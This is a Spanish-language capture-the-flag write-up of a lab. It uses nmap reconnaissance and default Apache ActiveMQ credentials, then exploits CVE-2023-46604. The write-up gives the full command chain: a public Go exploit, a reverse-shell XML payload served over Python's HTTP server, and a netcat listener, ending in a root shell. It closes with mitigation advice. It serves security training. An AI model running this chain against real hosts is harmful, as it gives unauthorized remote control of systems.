Este laboratorio está catalogado con la dificultad "Medio" y su autor es "El Pingüino de Mario".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Apache ActiveMQ, Common Vulnerabilities and Exposures (CVE) ,Remote Code Execution (RCE)
- Explotación de una vulnerabilidad conocida (CVE) sobre el servicio Apache ActiveMQ que permite ejecución remota de código (RCE), concediendo acceso inicial al sistema y permitiendo acceder directamente al usuario
root.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 80,443,1883,5672,8161,33743,61613,61614,61616 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (root)
En este caso se detecta que hay nueve puertos abiertos:
- Puerto 80 (servicio HTTP, Apache httpd)
- Puerto 443 (servicio HTTPS, Apache httpd)
- Puerto 1883 (servicio MQTT)
- Puerto 5672 (servicio AMQP)
- Puerto 8161 (servicio HTTP, Jetty)
- Puerto 33743 (no identificado, tcpwrapped)
- Puerto 61613 (servicio STOMP, Apache ActiveMQ)
- Puerto 61614 (servicio HTTP, Jetty)
- Puerto 61616 (servicio APACHEMQ, ActiveMQ OpenWire transport)
Además, gracias a la detección del servicio, se detecta que el sistema subyacente es Debian.
Dada la gran cantidad de puertos, se comienza revisando los que exponen servicios HTTP.
Tras revisar el puerto 80, parece mostrar la página por defecto de Apache. Tras mucho investigar la página no parece que exponga nada más que pueda considerarse relevante.
Tras revisar el puerto 443, parece mostrar una nueva página, esta vez más elaborada.
URL -> https://172.17.0.2
Tras mucho investigar la página no parece que exponga nada más que pueda considerarse relevante.
Tras revisar el puerto 8161, solicita credenciales a través de autenticación HTTP.
URL -> http://172.17.0.2:8161
Tras probar con credenciales por defecto de este servicio, es posible acceder de forma autenticada, mostrando que se trata de un servicio denominado Apache ActiveMQ.
Referencia: https://www.acunetix.com/vulnerabilities/web/apache-activemq-default-administrative-credentials/
En resumen, Apache ActiveMQ es un broker de mensajería de código abierto que permite que distintas aplicaciones intercambien mensajes de forma asíncrona y fiable.
Este permite integrar sistemas y coordinar procesos de forma fiable, garantizando una comunicación robusta entre servicios. Por ello es una pieza clave en arquitecturas distribuidas y entornos empresariales donde la mensajería segura y eficiente es esencial.
Al pulsar en "Manage ActiveMQ broker" es posible acceder directamente a la parte administrativa, donde entre otras cosas se muestra la versión del servicio expuesto.
URL -> http://172.17.0.2:8161/admin/index.jsp
Version: 5.15.15
Tras investigar esta versión, se detecta que presenta una vulnerabilidad de ejecución remota de código (RCE). Esto se debe a que es posible manipular tipos de clases serializadas en el protocolo OpenWire, permitiendo forzar al cliente o al broker a instanciar clases arbitrarias, posibilitando así ejecutar comandos en el sistema.
Además, se detecta un exploit que automatiza la explotación de esta vulnerabilidad.
CVE: https://nvd.nist.gov/vuln/detail/CVE-2023-46604
Exploit: https://github.com/rootsecdev/CVE-2023-46604Para poder ejecutar este exploit, es necesario tener el lenguaje de programación Go previamente instalado, ya que está desarrollado en este lenguaje. En el caso de no tenerlo, se puede instalar utilizando el siguiente comando.
sudo apt install golang-goA continuación, se clona el repositorio del exploit.
git clone https://github.com/rootsecdev/CVE-2023-46604.git
cd CVE-2023-46604
En este punto, se debe modificar la PoC en formato XML asociada en este caso a GNU/Linux, donde se adapte la consola inversa a la IP y puerto que se dispone a la escucha.
mousepad poc-linux.xml
(modificar la IP y puerto, guardar)
Como siguiente paso, en una nueva consola se debe establecer un servidor HTTP con Python para que el exploit pueda acceder y procesar la PoC configurada y poder así ejecutar la consola inversa una vez la vulnerabilidad sea explotada.
python3 -m http.server 80
Además, en otra nueva consola se establece el puerto a la escucha previamente configurado.
nc -nvlp 1337
Una vez realizada toda esta configuración, es posible ejecutar el exploit.
go run main.go -i 172.17.0.2 -p 61616 -u http://172.17.0.1/poc-linux.xml
Al revisar el puerto a la escucha previamente establecido, se puede comprobar que se obtiene acceso al sistema directamente como el usuario "root".
whoami
id
hostname
En este punto, como ya se tiene acceso como "root" directamente, no es necesario realizar operaciones de escalada de privilegios, ya que ya se tienen los máximos privilegios sobre el sistema.
Mitigaciones a aplicar
- Asegurarse de que los servicios expuestos estén parcheados a la última versión para evitar que una vulnerabilidad conocida pueda ser explotada.
- Ajustarse al principio de privilegio mínimo y exponer servicios con cuentas del sistema dedicadas para este fin.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com